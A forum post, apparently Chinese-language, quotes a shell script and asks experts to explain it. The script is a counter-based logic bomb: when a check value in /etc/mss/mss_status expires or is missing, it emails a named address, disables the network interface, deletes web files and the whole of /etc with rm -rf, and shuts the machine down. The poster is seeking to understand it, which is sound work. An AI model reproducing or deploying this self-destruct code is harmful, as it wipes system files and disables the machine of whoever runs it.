|
#!/bin/sh
CFGFILE=/etc/mss/mss_status
PATH=/bin:/sbin:/usr/bin:/usr/sbin
_ADDRESS=mss_test@kxin.net
export PATH
if [ -f $CFGFILE ]
then
read CHK < $CFGFILE
if [ "$CHK" != "pass" ]
then
TMP=`expr $CHK - 1`
if [ "$TMP" -lt "0" ]
then
echo "mss auto destroy by daily check"|mail -s "mss_test_destroy" $_ADDRESS
ifdown eth0
rm -rf /var/www/html/*
rm -rf /usr/local/games/*
rm -rf /usr/local/real
rm -rf /etc/samba/smb.conf
rm -rf /etc/squid/squid.conf
rm -rf /etc/rc3.d
rm -rf /etc/mss
rm -rf /etc
shutdown -h now
else
echo "$TMP" > $CFGFILE
fi
fi
else
echo "mss auto destroy by daily check"|mail -s "mss_test_destroy" $_ADDRESS
ifdown eth0
rm -rf /var/www/html/*
rm -rf /usr/local/games/*
rm -rf /usr/local/real
rm -rf /etc/samba/smb.conf
rm -rf /etc/squid/squid.conf
rm -rf /etc/rc3.d
rm -rf /etc/mss
rm -rf /etc
shutdown -h now
fi
大虾们帮忙分析分析这个 shell的 意思~!~! |
|